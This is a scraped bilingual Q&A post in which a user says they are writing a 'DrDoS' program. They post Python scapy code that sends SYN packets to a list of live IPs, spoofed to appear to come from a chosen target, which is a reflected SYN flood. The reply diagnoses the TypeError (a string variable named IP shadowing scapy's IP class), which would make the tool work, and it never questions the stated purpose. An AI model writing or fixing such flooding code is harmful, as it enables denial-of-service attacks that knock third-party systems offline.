[英]Python TypeError: 'str' object is not callable
I am trying to make a DrDoS program in python but I keep getting 我正在尝试用python制作DrDoS程序,但我不断
TypeError: 'str' object is not callable
TypeError:“ str”对象不可调用
here is my code 这是我的代码
import os
import sys
import threading
from scapy.all import *
from time import sleep
if os.getgid()!=0:
print "Cannot send SYN packets without root, exiting..."
exit(1)
list=raw_input("List of live IPs: ")
target=raw_input("Target: ")
port=int(raw_input("Port: "))
print "Flooding, press ^Z to stop."
class SYNFlood(threading.Thread):
def run(self):
c=0
with open(list, "r") as f:
IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
send(a, verbose=0)
sys.stdout.write('.')
c=c+1
print "Done, sent " + str(c) + " packets."
exit(0)
for x in range(10):
t = SYNFlood()
t.start()
I did do some research and found this is from a variable that has the name 'str' I have not found this. 我做了一些研究,发现这是从一个名为“ str”的变量中获得的,但我还没有发现。 Interesting.
有趣。
These lines here: 这些行在这里:
IP = f.readline()
a=IP(dst=IP, src=target, ttl=255)/TCP(flags="S", sport=RandShort(), dport=port)
contain the problem, IP
is a string and you are trying to call it like a function. 包含问题,
IP
是一个字符串,您正试图像函数一样调用它。
IP(dst=IP, src=target, ttl=255)
perhaps you should pick a different variable name so as to not interfere with other namespaces. 也许您应该选择一个不同的变量名,以免干扰其他名称空间。
Also, this line: 另外,这一行:
list=raw_input("List of live IPs: ")
prevents you from using the list
builtin function, please reconsider this name as well. 阻止您使用
list
内置函数,请也重新考虑此名称。
声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.